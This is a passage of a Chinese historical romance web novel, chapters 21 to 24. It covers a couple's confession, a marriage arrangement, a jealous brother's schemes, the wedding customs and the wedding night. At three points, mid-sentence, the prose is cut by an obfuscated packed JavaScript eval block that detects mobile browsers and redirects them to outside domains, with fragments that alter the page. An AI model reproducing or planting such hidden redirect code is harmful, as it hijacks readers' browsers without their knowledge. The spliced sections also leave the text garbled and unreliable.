“你寻回了我的荷包，为何不还给我？为何要私自留下，藏在怀中？” 21. 第 21 章 江铭默然许久，终于艰涩开口：“荷包是……定情之物。我存了私心，做了偷藏信物的卑劣小人。” 褚笑眉脸颊烫得厉害，抿了抿唇，问道：“你喜欢我？” “我私藏娘子的荷包，已被娘子抓个正着，人赃并获了。娘子还需要问这种问题？” 江铭眼睫低垂，微微蜷起指节，攥紧了手中荷包。他湿透的碎发垂落下来，坠着水珠晃来晃去。 褚笑眉的心扑通扑通狂跳起来：“那你为什么喜欢我？” “我也说不上来。大概是……”江铭轻轻笑了笑，抬眸将她看住，“榜下初见，情似相识；共处日久，愈生相思。” 他清越的嗓音一字一句道来，搔得她耳朵发酥，耳尖也烧了起来。她脑中嗡嗡作响，近乎难以分辨他话里每一个词的意思。 许久，她终于找回了自己的思绪。 “可你此前分明在偏帮吴娘子，你说我的诗作不好，就她的好。” 江铭轻叹一声：“娘子，那诗不是你作的……” 褚笑眉强词夺理：“是我的婢女作的，如何算不得我作的？” “娘子在我这里，自是怎么论都行——但我有别的顾虑。”江铭眉目温和，解释道，“京中贵女几乎都赴了今日的宴席，我是怕此事传扬开来，有损娘子声名。” 若状元、榜眼、探花三位郎君皆说好，引得人人都来品鉴这一首佳作。届时一看落款，竟是胸无点墨的褚家娘子。 不通诗文算不得什么错处，但明明写不出诗，还要请人代笔，难免沦为笑柄。 她一时赌气，反倒是他顾及后果，为她遮掩下来。 褚笑眉最后的一丝别扭也烟消云散，低声道：“荷包不必还我了。” 江铭道：“那我去借些烛火来，当着娘子的面烧掉。” 褚笑眉急道：“你烧它做什么？” “娘子不肯收，难道不是嫌它被我贴身带了许久，不愿再留着了？我有偷藏的前科，若是承诺回去烧掉，娘子未必肯信，自然要当面……” “江文颂！你平日里聪明得很，怎么这个时候犯起蠢来！”褚笑眉又羞又气，“你刚刚不是说，荷包是定情之物吗？我的意思是……让你好生收着。” 江铭鸦睫一颤，浓黑眼眸好似骤然被点亮，定定望向她。 “是我愚钝了。”说这话时，他勾着唇角，一双狐狸眼微微弯起，浮起浅淡笑意。 他收回了捧着荷包的手，指腹轻轻摩挲其上的绣线，而后从容揣进了怀中。 “既是娘子所赠，江某必定珍藏。” 褚笑眉：“……” 她双颊羞红更甚，分明是他私藏在先，如今倒摆出一副光明磊落的模样，属实可恶！ 她将披在身上的云锦外衫递给他，还是忍不住出言叮嘱：“你方才受了伤，记得尽快请郎中看看，别落下病根。” 江铭朝她一揖：“有劳娘子挂心。” 互明心意后，寻常的嘱咐好似都带了暧昧的意味。褚笑眉羞得不行，寻了个由头想走：“我要去更衣了。” 贵族在外赴宴时，往往会由侍从多带一套衣裳，以防有了脏污，不大体面。 她在火场中折腾许久，身上已蹭了不少灰，钗环也有些乱了，确实该去收拾一番。 江铭道：“娘子慢走。” 她逃也似地离开此处，路过转角时，却听得有人唤她： “阿眉，你没事吧？” “阿菁？”褚笑眉一怔，顿住了脚步，“你什么时候来的？” “本是赶来救你的，结果来得早不如来得巧。”张菁笑得促狭，“我到的时候，刚好看见江侍郎抱着你从火场里出来。发现你无恙，就没上前打扰。” “你……你在旁边一直看着？” “当然啦，你们俩——”张菁分别伸出左手、右手的食指，又将这两指并到一处，“那叫一个你侬我侬。” “张菁！！”褚笑眉嗔她一眼，恼得直跺脚。 “别害羞嘛，你应该骄傲才对。京中多少贵女巴巴盯着的状元郎，就这么被你拐到手了。”张菁用手肘轻轻碰了碰她，“哎，我何时能喝上你俩的喜酒呀？” “哪有这样的事？不许胡说！” “我胡说？”张菁笑弯了眉眼，“我可是亲眼所见，他都收下你的荷包了……” 她话未说完，褚笑眉已急得伸手去拧她了。她连忙告饶： “好好好，我们褚娘子面皮薄，我不说了。” 三匹青骢马并驾停下，画棚雕车谒于褚府门前。婢女递了拜帖上去，当即有家仆迎接引路。 上门拜谒的是国子祭酒的夫人周氏，她同褚、江两家都有些交情。此番受江家所托，前来话亲。 因她是女眷，褚氏夫妇在花厅见她。 寒暄客套一番后，她道明来意，言及江铭如何青年才俊，江家于金陵是何等家世。 只听褚父道：“江侍郎一表人才，若能结为姻亲，自然是好的。不过我们家中还得商议一番，也得问过小女的意思。” 但凡是有身份的大户人家，都不会一口应下女儿的亲事，总得来回推拒几轮。褚父这般说，已是对这个准女婿满意得不行了。 周氏心知肚明，这桩婚事大抵是稳了；又与褚母闲话一阵，自告辞离去了。 晚膳时，褚父提及此事。褚笑眉骤然红了脸，几乎要把头埋到桌上。 褚笑臣脸上的神情有些维持不住，一双眸子幽沉如水。他为父亲斟满了酒，出言劝道：“阿姊年纪尚小，不必急着议亲。” 褚父睨他一眼：“都及笄了，还小？” 褚笑臣道：“即便要出嫁，也不妨再多相看几个，兴许有更好的。” 褚父道：“年仅二十的礼部侍郎，出身金陵江家的今科状元……你倒是说与为父听听，大雍适龄的男子中，哪一个更好？” 褚笑臣抿起薄唇，终于不再言语。 褚父又问道：“阿眉意下如何？” 褚笑眉垂首盯着自己的衣裙，低声嗫嚅：“女儿听凭阿爷阿娘安排。” 她自小娇惯得很，若当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356609|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真不愿意，当场就闹起来了。如今这般小女儿情态，俨然就是少女怀春，心有所属。 褚笑臣面色愈沉；褚笑眉则是又羞又怯，压根不敢抬头。 浮玉轩的红纱灯一盏盏点了起来，闺阁内的描金嵌玉花中四雅图宫灯、十二连枝铜灯、银鎏金卧鹿灯烛火煌煌，照得屋中亮如白昼。 白虹拆下褚笑眉发间的珠翠，感叹道：“一眨眼，娘子就到了出阁的年纪。往后就该盘发髻，做另一家的夫人了。” “八字没一撇的事你也说？”褚笑眉红着脸纠正，“还没定下呢。” 一双珠光莹莹的皂靴踏入屋内，少年身穿织金缠枝宝蓝锻袍，腰间系着九环蹀躞金带，单薄的身影走进了镜中。 “我来吧。”他于褚笑眉身后站定，抬手接过了白虹的差使，为她解开繁复的发饰。 铜镜里映出少女与少年的脸，他们二人虽是姊弟，容貌却并不相像。 褚笑臣儿时生过一场大病，此后一直沉疴在身，时常显得面色苍白。他眉目清嘉，如松间初雪；唇色浅淡，似玉兰新开。三分文人病骨，七分贵胄风华。 而褚笑眉即便不施粉黛，颊上仍泛着胭脂霞色。剑眉杏目，绛唇贝齿，面若芙蓉，秾艳灼目。 “你心情不好？”褚笑眉见他神色郁郁，开口问道，“莫不是今日被夫子骂了？” 褚笑臣道：“是听闻阿姊议亲……我舍不得阿姊。” “我说呢，阿爷提起此事，你怎的意见这般大。”褚笑眉扑哧一声笑了出来，“——可阿姊早晚是要嫁人的呀。” 她继续哄道：“即便阿姊出嫁了，也一辈子都是你的阿姊。你可以常来看我，我也会时常回家看你们的。” “阿姊与那位江侍郎相识不过数月，他如今百般殷勤，往后却难保不会变心。”褚笑臣劝道，“这样的事，各家各户屡见不鲜，阿姊听说的还少吗？” 哪怕是褚父褚母，也不是全然恩爱不疑的。 因着先帝与太后的缘故，大雍不尚纳妾之风。尤其是有头有脸的官宦人家，更是以此为耻。 但不能纳妾，并不意味着当真要一心一意，只与一人相守到老。建别院、养外室，已成了官员间心照不宣的事。 褚笑眉十二岁时，发现了父亲养在外头的女人——多年来父母相爱的假象一朝崩塌，她把自己锁在屋里，哭了一整天。 褚笑臣始终陪在一旁，柔声哄着她说：“那阿姊往后不要嫁人，就不会经历这一切了，好不好？” 褚笑眉重重点头，大声发誓自己绝对不会出嫁。 可眼下时过境迁，她到底还是动了心，一腔热忱地要踏入那前路未知的泥沼。 “除此以外，嫁作人妇后，还需打理家宅、侍奉公婆——种种琐事，都是阿姊现下不需要做的。” 褚笑臣执起并蒂莲纹檀木梳，从发顶到发尾，一点点将她的青丝梳顺。紫檀的幽香、淡淡的发香与他的话音纠葛缠绕，徐徐荡开。 “阿姊身份尊贵，何必受那婚姻磋磨。我养你一辈子，不好吗？” 22. 第 22 章 “小臣说的是痴话。”褚笑眉道，“你如今年纪尚小，自然万分割舍不下阿姊；等你长大后成家立业，哪里还顾得上我？” “阿姊还当我是小孩子……” 褚笑臣搁了梳篦，自嘲一笑。他是天子伴读，夫子乃是当今帝师，甚至都评他为少年持重；至于满朝文武，更是赞他岳峙渊渟、大器早成——唯有她始终觉得，他是那个不谙世事的幼弟。 诸般心思，无法同她表明，他只能道：“我不会成亲的，与阿姊相伴就够了。” 褚笑眉闻言一笑，抬手揉了揉他的脑袋：“好好好，我们小臣粘人得很。” 褚家与江家的姻亲即将敲定，若定亲的流程走完，便再无转圜余地了。 褚笑臣暗地里使了不少绊子——他甚至尝试过给那位江侍郎下药，再送些风尘女子过去，以让他传出浪荡的名声——但一直没能成功。 反倒是褚父先察觉了他的小动作。 他被父亲单独叫到书房，屏退了侍奉的下人。 褚惟庸道：“你的那些心思，你阿姊看不出来，不代表为父也看不出来。往后收敛些，别再让我抓着。” 褚笑臣毫无惧色，定定地与他对视：“父亲既然知晓，为何不能成全我？” “荒唐！”褚惟庸喝道，“你们是姊弟！” 褚笑臣道：“那又如何？只要阿姊这辈子都留在闺中，是姊弟抑或夫妻，又有什么分别？” “若是你阿姊不愿嫁人，为父不是不能睁一只眼闭一只眼。但她已有了心悦的男子——”褚惟庸轻轻叹了口气，“强留下她，只会让你们二人都痛苦终身。” 褚笑臣还想争辩：“可是……” “我意已决。”褚惟庸打断了他，“此前种种，为父既往不咎；但你若敢再犯，休怪我将你的亲事一同定下。” “是，”褚笑臣垂下眼帘，面色愈发惨白，“孩儿明白了。” 京中第一贵女与今科状元郎的婚事，成了街谈巷议、风行一时的话题。 士人论的是褚家与江家的联姻，两家俱以书香传世，一方势力在京城，另一方在金陵。此后更是树大根深，处尊居显。 平民猜测着聘礼与嫁妆该是何等丰厚，昏礼当日将是哪般盛况。 褚笑臣陪圣上完成了一日的课业，从宫中告退回府，照例走朱雀大街，而后转至长乐巷。这一街坊住的都是些高官贵胄，现下又没到散值的时辰，放眼望去空空荡荡，唯有他所乘的软轿行在路上。 至巷口时，一伙蒙面人自街角冲出。他们手持棍棒，威猛得很，三两招就将褚府的家仆全部撂倒。 褚笑臣被钳制住，一棍重重地砸在左腿上。他闷哼出声，疼得额头都沁出了冷汗。 他没问对方是谁——那些人既蒙了面，自是不愿让人知晓。他痛苦地拧着眉头，上下打量一番，只见他们身强体壮，像是常年习武；腰间虽没挂任何配饰，衣裳也普通得很，可靴子却做工精良。 显然，他们为掩饰身份，有意换了布衣；但鞋子仍穿着惯用的。能让家丁穿得这样好，幕后主使非富即贵，不在褚家之下。 他们下手极有分寸，只打伤了他的左腿，其余的连一根毫毛也未动。达成目的后，立即撤离了。 褚笑眉听说自家阿弟出事，急得不行。郎中已瞧过了，说是骨折，休养几个月便好。她却仍不放心，亲自盯着他吃药，时时陪在他身边。 青简端了羹汤上来，搁在榻边的小几上。“我叫厨房熬了清炖牛骨汤。”褚笑眉摸了摸碗边，指尖被烫得一蜷，“还有些烫，你等等再喝——” “闻着很香，我现下就想喝。”褚笑臣斜倚在榻上，偏头看着她，“不如阿姊吹凉了喂我。” 褚笑眉困惑道：“你伤的又不是手，自己用汤匙舀着喝不就好了？” “腿伤太疼了，连抬手的力气都没有。不过既然阿姊不愿意，我还是……咳咳……”褚笑臣掩唇咳嗽两声，面露痛楚，“我还是自己来吧。” 言罢，他已伸手去够那碗汤了，只是手指微微有些发抖，约莫真是疼得厉害。 褚笑眉心中一紧，连忙将他拦住：“好生坐着！我来喂你。” 她执起银匙，舀了勺骨汤，放在唇边轻轻地吹气。微凉吐息拂到褚笑臣面上，带着淡淡的甜香。 他眸色一暗，寒潭般的眼眸倒映着她的身影，牢牢将她锁住。 “娘子，闫神医到了。”白虹进来禀道。 “快请进来！”褚笑眉搁下碗勺，连忙起身去迎。 闫神医的名姓叫闫五更，向来孤僻狂傲，自称是“阎王叫你三更死，偏要留你过五更”。 褚笑臣儿时生过一场大病，咳嗽不止、高烧不退，看过许多名医都毫无办法，症状愈拖愈重。接连呕血，连呼吸和脉搏都快没了的时候，正是被这位闫神医从鬼门关拽了回来。 踏进房中的是个八十来岁的老头子，年事虽高，却康健矍铄。他须发皆白，深眼窝、高颧骨、鹰钩鼻，一看就长了一副不好相与的模样。 褚笑眉福身向他行礼，褚笑臣不能起身，也在榻上拱手一揖。闫神医却像是没看到似的，一个也不搭理，揣着手问道：“情况怎么样了？” 褚笑眉道：“他被人打断了腿，还请老先生为他看看。” 闫神医一撩下袍，在榻边坐下，只粗粗瞥了一眼褚笑臣的伤处。他从鼻子里嗤出一声，斜眼睨向褚笑眉：“这么点小伤，你也犯得着叫我跑一趟？” 褚笑眉笑呵呵地奉上一盏茶，恭恭敬敬道：“小臣年纪还小，怕旁的大夫接骨接得不好，落个跛疾。全天下谁人不知您的医术登峰造极，总是要请您看过，才能放心。” “哟，不仅岁数长了，溜须拍马的本事也见长。”闫神医冷冷刺她一句，到底还是伸出手，触摸褚笑臣的断骨。“没什么问题。卧床十日，拄拐三月，自可恢复如初。” “多谢老先生。”褚笑眉道，“我为您收拾了间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356610|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客房，您歇几日再走吧？” “不必了，老夫最厌恶的就是长安城，住着的全是些搜刮民脂民膏的贪官污吏。”说这话时，他明明白白地转动脖子，在四周环视了一圈。虽未点明，却也与指着鼻子骂褚家无异了。 他起身拂了拂衣袖，似是想掸去其上沾染的肮脏：“老夫再问你最后一遍，当真不跟我学医？” “老先生饶了我吧！”褚笑眉哀嚎道，“我一看书就犯困，您还指望我看医书？” 闫神医眉头一皱：“你知道有多少人想拜入我门下吗？我主动要教你，你倒还不情愿了。” “冤枉啊！我是一千个一万个愿意拜老先生为师的，奈何实在是心有余而力不足！我背《三字经》都费劲，哪能背得下什么《药性歌》？” 褚笑眉苦着一张脸，低声继续嘟囔：“我也好奇呢，世上立志济世救人的医者这般多。我不仅毫无根基，又志不在此，老先生怎的偏偏就看上了我？” 闫神医冷哼出声，道：“老夫这一身本领，无论传与谁，皆可动摇天下大势。根基再好又有什么用？若是心性不佳，只怕反而成了祸害。” 褚笑眉嘿嘿笑道：“所以老先生是在夸我心性好？” “哦，往自己脸上贴金的本事也长了。”闫神医道，“人是会变的——如今志在救人，等他真正掌握了独步天下的医术，拥有了定夺生死的能力，还能依旧保持初心吗？ “老夫行医六十余年，看人的眼光不会错。褚家骄奢淫逸、残民以逞，你这妮子虽在这种环境下长大，却只不过性子娇蛮些，仍存仁善之心，正是为医之道。” 这话是把褚家又从头到脚骂了一遍，若是旁人这么说她家里人，褚笑眉早骂回去了。但眼前这位老先生救过小臣的命，且又是位救死扶伤的仁医，只是性子古怪些，素爱冷言冷语。 故而褚笑眉讪讪地摸了摸鼻子，没敢作答。 按理说以褚家的权势，不可能查不出行凶者的身份。褚笑眉已让白虹备了一根腕口般粗细的木棍，要以其人之道还治其人之身，亲手打断那贼人的腿。 ——但此事竟没了下文，连褚父和褚笑臣自己都不再提及。甚至在她主动问起时，他们明显扯开话头，有意回避。 这一日，靖国公亲临褚府，褚氏夫妇在正厅相迎，褚笑眉自然也被叫了过去。 褚惟庸向她问道：“听说你请闫神医来为小臣看过了？” 褚笑眉道：“看过了，闫老先生说不会落下病根，阿爷尽管安心。” “那就好。”褚惟庸道，“只是小臣这时候受伤，还牵扯出另外一桩麻烦事——” “阿爷请讲。” “依循旧例，新娘子出嫁时，该由自家阿兄或阿弟背上花轿。可如今你婚期已近，小臣偏又伤了腿……总得想个别的法子。 “国公爷是看着你长大的，你也唤他一声‘哥哥’。依为父的意思，不如就让国公爷作为兄长背你上花轿，你意下如何？” 23. 第 23 章 褚笑眉抬起眼，与靳愿四目相对。他眸色沉沉，似是心情不佳，勉强牵起唇角冲她笑了笑：“还没来得及恭贺你新婚之喜。” 刘三娘与孙六之事的真相尚未查明，褚笑眉心中仍存芥蒂。但靖国公位高权重，她怕牵累到阿爷阿娘，并不敢言明。故而尚且犹豫着，不知如何作答。 靳愿看出了她的迟疑，向褚父道：“我与阿眉单独聊聊吧。” 国公爷都发了话，褚怀庸哪敢不从？当即屏退了下人，又携了妻子告退。 厅中只余下靳愿与褚笑眉二人。 靳愿开口询问：“阿眉不愿应下，是还不肯信我？你仍旧觉得，我是旁人口中那个残忍嗜杀的屠夫？” 褚笑眉回避了他的问题，只道：“由兄弟背着出嫁这一旧例，不过陈规而已，未必非要遵守。承望哥哥政事缠身，何须辛苦你这一遭？” “虽是陈规，但送嫁一事，本就是给夫家看看，新嫁娘背后是有人撑腰的，以免被欺负了去。 “阿眉，你成婚以后，我不能时时护在你身边。求你点个头，也好叫我放心。” 他本是权倾天下的国公爷，这话却说得卑微至极。 褚笑眉心中一酸，福身道：“那就劳烦承望哥哥了。” 靳愿抬起手，欲抚上她的脸颊，却在指尖即将触碰到时蓦地顿住。他用力闭了闭眼，轻声道：“我知晓我征战多年，此身杀戮太重，恐会冲淡喜气。自你定亲起，我日日都去护国寺中焚香拜佛……只盼你别嫌我搅了你的昏礼。” 他平素是不信神佛的，难怪今日相见，他身上竟有一阵淡淡的檀香。 “承望哥哥这是哪里话？”褚笑眉道，“你良苦用心、待我至诚，我都知晓，又怎会嫌你？” “那就好……”靳愿的双眼有些泛红，嗓音喑哑得厉害。“我得胜还朝时，你尚且不通情爱、一派懵懂天真。如今不过短短数月，你竟已有了心仪的男子，要嫁作他人妇了。” 褚笑眉脸上一热，低声道：“毕竟也到了该嫁人的年纪嘛。” “只要他能好好待你，让你平安快活地度过此生，我亦算是无憾了。”靳愿轻轻叹息一声，话锋骤然转得凌厉，“不过，他若敢教你受半分委屈，你定要告与我知，我替你讨回公道。” “那是当然。”褚笑眉道，“承望哥哥既要送我出嫁，合该为我撑腰的。” 昏礼的诸多事宜都定下了，只还有一样——女子出嫁时，当由夫君为其取字。 自互通心意后，褚笑眉一直羞得不敢见他，眼下却是不得不见了。 她垂着头，掩盖自己颊上的绯红。羞羞怯怯的，像是一只怕生的小雀儿。 她发间金钗斜坠，江铭抬手为她扶正了，笑道：“娘子如今这般，倒是与初见时娇纵的模样判若两人了。” “你还笑话我！”轻嗔脱口而出，褚笑眉脸上羞红更甚。“还不是因为……要做你的妻子了，总得规矩些。” “娘子做自己就好。”江铭道，“女子起字，大抵有三类。 “一是赞她容貌，例如娥姁、明霞；二是以花喻她，譬如蕙兰、梅仙；三是颂她德行，如惠淑、仲贤。 “娘子想要什么样的？” 褚笑眉有些惊讶：“你要问我的意思？” “既是娘子的字，自然该挑个娘子喜欢的。” 褚笑眉抿唇思量片刻，低声嗫嚅：“我名唤‘笑眉’，字不如就叫‘长欢’吧？” 她仰头望向他，双颊通红、灿若云霞，一字一句道： “往后愿与夫君——常生欢喜，举案齐眉。” “好，”江铭鸦睫一颤，浓黑眼眸中映出她艳若桃李的容颜，他清越嗓音重复了一遍，轻声呢喃这个因他而生的字，“长欢。” 成亲当日，新雪初霁。 褚府各处连廊，每隔五步垂着一只红纱宫灯；阶前以茜色吴绫铺地，映着庭中未融的雪，灼灼耀目。 褚笑眉端坐金银平脱妆台前，一品诰命的平远侯夫人、张菁之母郑氏为她梳头。并蒂莲纹的紫檀梳篦，浸了盛在鎏金鸳鸯银匜中的香发木墀油，篦齿自上而下，梳开她如瀑的青丝。 青简以兔毫蘸了朱砂，为她勾画花钿，笔尖扫过眉心时，忽闻外间一阵吵闹。 白虹前来禀道：“新郎官到了，正被郎君他们堵在门外呢。” 褚笑臣伤了腿，命人搬了把太师椅，往门前一坐，不肯放行。 他望着眼前浩浩荡荡的迎亲队伍，抱着手臂道：“阿姊尚在梳妆，江侍郎要想接亲，总得先作首催妆诗吧？” 江铭只略微思索，便已得了一首，吟道：“香脂砌妆台，娇娥意未开。今朝吉日好，莫负凤钗来。” 他每说出一句，身后的友人亲眷便附和高唱，诵诗声传入闺阁之中。 褚笑眉听得清楚明白，颊上红晕愈浓，几乎胜过涂抹的胭脂色。 鸿胪少卿晁瑾瑜笑嚷道：“咱们这位新郎官可是今科状元，随口一赋就是华章佳句，眼下可以放行了吧？” “诗确实是不错。”饶是身为天子伴读的褚笑臣，也挑不出什么错处来，只得不情不愿认下了。 但他不肯就此罢休，又道：“试过了文才，总得再考校考校其他的。射乃君子六艺之一，江侍郎与我比试投壶，要先赢过我，方能娶走我阿姊。” 家仆搬了两尊投壶过来，按例是宾客先手，故而江铭先投。 他执矢掷出，箭稳稳当当地落入壶口。 司射扬声报道：“江郎君第一投中，有初，得十筹。” 轮到褚笑臣出手，箭矢直直投进了壶耳。 司射道：“褚郎君第一投中，有初贯耳，得二十筹。” 在场诸人倒吸一口凉气，皆为江铭捏了把汗。 堵门本是走个过场，按理说女方亲眷不会太过为难。但褚笑臣这一下，显然是没留任何情面，真真是冲着要赢过江铭去的。 江铭眼睫一抬，凛冽眸光望向褚笑臣。褚笑臣倚着太师椅同他对视，微微勾了勾唇角：“江侍郎，你这射艺不大行啊。” “是吗？”江铭微微眯起眼眸，抬手将箭矢掷出。 只见那箭斜倚在了壶口处，并未触底，箭尖对着投掷者的方向——这是投壶戏中最难的一种，名为龙首，可得十八筹。 满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15361543|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂欢呼喝彩。 褚笑臣的笑意僵在脸上，他捏紧了手中的箭身，话音愈冷：“江侍郎运气倒是不错，只不过还是输我四筹。” 他又投中了一只贯耳，连中贯耳，得十二筹。 如今江铭总计二十八筹，褚笑臣已得三十二筹。 褚笑臣又道：“江侍郎，请吧。不知你是否还能有这般好运，再投中一次龙首？” 江铭轻笑一声，而后投出的每一箭，箭箭皆中龙首。 褚笑臣的脸色愈发难看。他的筹数早被江铭反超，差距已越来越大了。 他屏息凝神，尝试着也去投个龙首。但技巧尚且不大纯熟，力道与角度掌握得不好，反而投空了几箭，罚了好些酒。 又有人催促道：“射艺也是新郎官胜了，这下该放我们进去了吧？” 褚笑臣却道：“六艺中还有乐之一艺——请江侍郎再作一首催妆诗，这一回，须得附上曲调唱出来。” 这就有些刻意刁难的意味了，随行的亲友已有些不满，江铭抬手制止道：“无妨。既要迎亲，总该过这一关的。” 他不过思量几息时间，诗曲已成： “玉镜妆台映烛光，良辰佳景待晓妆。 云鬓欲理添香韵，粉面初匀惹梦长。 凤屐轻移花影乱，鸾绦微动玉颜藏。 今朝莫负东君意，早下鸳楼归暖厢。” 褚笑臣还欲出题，却连张菁也出言劝阻：“小臣，行了，再不走就误了吉时了。” 他紧紧抿着薄唇，脸上失却了血色。他攥紧了太师椅的扶手，又缓缓松开，终于颓然地叹出一口气，轻轻冲家仆们招了招手。 仆从将他的椅子挪到一旁，让出了门前的位置。迎亲的队伍一拥而入，闯进了他阿姊的闺阁之中。 褚笑眉持扇而出，明艳的大红嫁衣灼得他双眼生疼。她路过他身侧，却没施舍一个眼神，他只看见她嫁衣的袖摆被风吹得扬起。 他伸手想要去触碰那一抹绛红，北风骤止，他的指尖与她堪堪错开。她身上的甜香拂至他鼻尖，转瞬又消散了。 靳愿早已在门前候着了。 权势滔天的国公爷在她面前屈膝矮下身，将她负到自己背上。 这会子倒没人敢闹新娘了，四周鸦雀无声，只能听见他的皂靴踏在青石砖地上的声响。 他走得很慢，步子却极稳。常年征战的武将背着这么个小女娘，就像托着一片羽毛，恍惚让人觉得风一吹，她就该飞走了。 褚笑眉上了马车，云锦软帘垂落，隔开了外间的视线。她终于放下手中挡脸的绣扇，倚在车厢壁上歇息。 座旁搁着一封信，她拆开来看，纸上竟是一首诗——像是江铭的字迹，只是这诗作却属实平平无奇。 她不解其意，将其随手置于一旁。 在车中眯了一阵，车马却忽地停了。 青简提醒道：“娘子，是江侍郎的亲友在前拦路。依照规矩，您得作一首障车诗，他们才会让开。” 褚笑眉瞠目结舌：“有这规矩你怎的不早说？给我三日我都未必作得出来，如今都火烧眉毛了，我上哪里作去？” 24. 第 24 章 如今众目睽睽之下，青简也不好替她作诗。褚笑眉急得不行，却蓦地瞥见此前被她搁在一旁的信纸。 她将那诗作浏览一遍，轻轻笑出了声。原来江铭早料到有这一遭，已为她提前备好了。 她垂眸看着纸上字句，高声将诗句诵出： “今日身着红嫁裳，花车摇摇往夫乡。 路上小童蹦又跳，身旁亲友笑盈眶。 障车拦路传吉言，盼得情长意更长。 待他礼至车开过，今夜同欢喜气扬。” 外头的人皆拊掌叫好。 “褚娘子这一首障车诗，辞句质朴，直率活泼，实在妙极！” 拦车的亲友尽数退开，车轮辘辘而响，马车继续徐徐前行。 褚笑眉松了口气，暗自在心中祈祷，可千万别再出什么难题折腾她了。 二百抬樟木箱蜿蜒如蟒，首箱已至平康坊，末箱犹在崇仁坊。最前十八抬皆覆明黄云锦，乃圣上御赐；其后六十八抬覆玄色蜀锦，是国公府给的添妆；再后一百零二抬朱漆泥金，为褚府备下的嫁妆；最末十二抬覆嫣红妆花织锦，是张家娘子所置。 十里红妆，引得京中百姓纷纷瞻望。 人群中有老者拄杖感叹：“上一回见这般场面，还是先帝与太后成婚之时……” 车马终于行至江府，友人捧了长弓与软包箭过来，起哄要江铭射车门。 这也是成婚的旧俗，要新郎官立威，好教新娘子百依百顺。 江铭却推拒道：“这一项还是略过吧。我夫人从小到大，都是没受过半分委屈的；嫁与我后，也不必柔顺依从。” 他上前去接褚笑眉下车，旁边的亲友笑语调侃：“江侍郎往后必定是个惧内的。” 红绸的两端握住二人手中，褚笑眉以锦扇遮面，只能看见脚下的一小截路。江铭怕她绊了跤，有意将步子放缓。 忽听得他道：“夫人且等等。” 他改换了称呼，褚笑眉耳尖一红，细若蚊鸣地“嗯”了一声。 江铭蹙眉吩咐：“火盆也撤下去。” 家仆忙不迭地上来，将拦在新娘子身前的火盆端走。 于是前路畅通无阻，褚笑眉与他拜过天地，入了洞房。 撒帐点烛，同牢合卺。 一杯女儿红下肚，她颊上绯色更甚。索性尚有绣扇遮着，并不会让他瞧见。 “该我作却扇诗了。” 江铭眸中映着龙凤喜烛跳动的火光，定定将她看住，轻声赋诗。 “锦扇遮娇颜，鸾影映烛烟。良辰须共赏，莫负月团圆。” 他嗓音渐柔渐缓，缠绵缭绕。 那锦扇随声徐徐移开，露出新嫁娘秾艳灼华的芙蓉面。她杏眼微抬，眼波流传，与他四目相对。 江铭的心跳骤然漏掉一拍。 两道交叠的身影跌入红绡暖帐。 她依照嬷嬷所教习的，抬手去解他的腰带，反被他捉住了手：“我来侍奉夫人。” 他常年执笔，指侧略有薄茧，蹭得她手背一阵酥麻。她浑身一激灵，只觉那痒意沿着血脉经络，一路蹿进了她心底。 繁复的嫁衣被他一层一层解开，好似含苞的菡萏，徐徐绽放。 “长欢。”清越嗓音在她耳边低低地唤，勉力压抑着微乱的喘息。 他向来是极有耐心的。 嬷嬷告诉过她会很疼，叫她忍着；她确实在忍，但并不是在忍疼。 她紧张得很，将身下的锦褥攥出一团褶皱，死死咬着下唇，努力不让自己发出羞人的动静。 他额头已沁出了细密的汗珠，仍放轻了动作，柔声诱哄：“放松些，别忍着。” 她嘤咛一声，嗓音娇软得几乎要滴出水来，连她自己都吓了一跳。她羞得要躲进锦被里，却被他牢牢钳制住：“长欢的声音很好听。” 到了真正同他共沉沦的时候，她已顾不上忍了。 连路过门外的婢女也听得发羞，不由得加快了脚步。 褚笑眉理不清后宅的账，偷偷叫了青简帮忙。有了第一回，便有第二回、第三回。次数多了，难免被江铭撞见。 她急忙将那狼毫抢过来，装模作样地拨弄着算珠。 江铭倚在一旁，笑吟吟地看她算账。 她许久也未落一笔，急得满脑门子冒汗，试图支开他：“夫君今日的公务忙完了？” “已料理完了。”江铭悠悠地道，“长欢近日将家业打理得极好，我特来观摩一番。你自算你的，不必理会我。” 她一时被噎住，悄悄地朝青简使眼色，向她求助。 “算珠拨错了，此处该退一还八。”江铭俯身将她拢在怀中，握住她手指纠正错处。 他身上浅淡的乌木香骤然环住了她，她脸颊一热，回过头时，恰对上他眸中揶揄笑意。 她气恼地甩开他手：“原来你早知晓了，特地来作弄我！” 